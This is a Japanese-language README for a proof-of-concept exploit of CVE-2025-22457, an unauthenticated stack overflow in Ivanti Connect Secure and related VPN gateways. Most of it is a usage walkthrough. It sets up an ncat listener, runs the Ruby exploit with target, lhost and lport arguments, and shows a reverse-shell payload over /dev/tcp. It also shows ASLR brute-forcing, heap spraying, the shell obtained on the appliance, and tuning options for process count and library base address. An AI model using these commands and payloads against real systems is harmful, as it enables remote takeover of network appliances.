
CVE-2025-22457 用の PoC - Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure、および ZTA Gateways に影響を及ぼす、リモートからの未認証スタックベースのバッファオーバーフロー
Ivanti Connect Secure、Pulse Connect Secure、Ivanti Policy Secure、および ZTA ゲートウェイに影響を及ぼす、リモートかつ認証不要のスタックベースのバッファオーバーフロー
これは、CVE-2025-22457 の悪用を実証するための概念実証エクスプロイトです。脆弱性と悪用手法の完全な技術分析については、こちらの Rapid7 分析を参照してください:
https://attackerkb.com/topics/0ybGQIkHzR/cve-2025-22457/rapid7-analysis
次のように、脆弱な Ivanti Connect Secure ターゲット(バージョン 22.7r2.4)に対してこのスクリプトを実行できます。
リバースシェルを受け取るために netcat リスナーを起動します。
C:\>ncat -lnvkp 8080
エクスプロイトを実行し、ASLR をブルートフォースします(時間がかかります)。
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf64ca000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering..
成功すると、リバースシェルが取得できます。
C:\>ncat -lnvkp 8080
Ncat: Version 7.93 ( https://nmap.org/ncat )
Ncat: Listening on :::8080
Ncat: Listening on 0.0.0.0:8080
Ncat: Connection from 192.168.86.111.
Ncat: Connection from 192.168.86.111:20746.
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
bash-4.2$ id
id
uid=104(nr) gid=104(nr) groups=104(nr)
bash-4.2$ uname -a
uname -a
Linux localhost2 4.17.00.35-selinux-jailing-production #1 SMP Tue Jun 18 16:25:33 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
bash-4.2$
基盤となるハードウェアに応じて、ターゲットアプライアンスで利用可能な CPU 数によって、/home/bin/web バイナリが生成する子プロセス数が決まります。受信するすべての HTTPS リクエストはこれらの子プロセス間で均等に分散されるため、これを考慮し、すべての子プロセスに対してヒープスプレーを十分な回数実行する必要があります。脆弱性をトリガーするときに、どの子プロセスでトリガーされるかを知ることができないため、この操作が必要です。つまり、すべての子プロセスにヒープスプレーが存在する必要があります。
たとえば、ルート化された脆弱なアプライアンスで、次のコマンドを実行すると、/home/bin/web の子プロセス数を確認できます。
bash-4.2# ps -Al | grep web
ps -Al | grep web
4 S 104 3012 2394 0 80 0 - 26313 - ? 00:00:00 web
4 S 104 3013 2394 0 80 0 - 24931 - ? 00:00:00 web80
1 S 104 4947 3012 2 80 0 - 28209 - ? 00:01:27 web
1 S 104 5217 3012 1 80 0 - 31527 - ? 00:00:49 web
1 S 104 5695 3012 0 80 0 - 28199 - ? 00:00:00 web
1 S 104 5715 3012 0 80 0 - 28199 - ? 00:00:00 web
bash-4.2#
--web_children 引数を使用して、想定される Web 子プロセス数を指定できます。例:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4
ローカルシステムで PoC をテストする場合、libdsplibs のベースアドレスのブルートフォースを回避したいことがあります。このシナリオでは、--libdsplibs 引数を使用して、既知のベースアドレスを PoC に渡すことができます。たとえば、ルート化された脆弱なアプライアンスで、次のコマンドを実行します:
bash-4.2# ps -A| grep web
ps -A| grep web
3200 ? 00:00:01 web80
20536 ? 00:00:02 web
bash-4.2# cat /proc/20536/maps | grep libdsplibs
cat /proc/20536/maps | grep libdsplibs
f642e000-f7994000 r-xp 00000000 fc:02 171879 /home/lib/libdsplibs.so
f7994000-f7995000 ---p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f7995000-f79aa000 r--p 01566000 fc:02 171879 /home/lib/libdsplibs.so
f79aa000-f79e3000 rw-p 0157b000 fc:02 171879 /home/lib/libdsplibs.so
bash-4.2#
次に、以下のようにして既知のベースアドレスを PoC に渡すことができます:
C:\>ruby CVE-2025-22457.rb -t 192.168.86.111 -p 443 --lhost 192.168.86.35 --lport 8080 --web_children 4 --libdsplibs 0xf642e000
[2025-04-10 16:21:13 +0100] [+] Targeting https://192.168.86.111:443/
[2025-04-10 16:21:13 +0100] [+] Payload: bash -i >& /dev/tcp/192.168.86.35/8080 0>&1
[2025-04-10 16:21:13 +0100] [+] Detected version 22.7.2.3597
[2025-04-10 16:21:13 +0100] [+] Starting...
[2025-04-10 16:21:13 +0100] [+] Attempt 0, trying libdsplibs.so @ 0xf642e000
[2025-04-10 16:21:13 +0100] Making connections...
[2025-04-10 16:21:18 +0100] Spraying...
[2025-04-10 16:22:27 +0100] Triggering...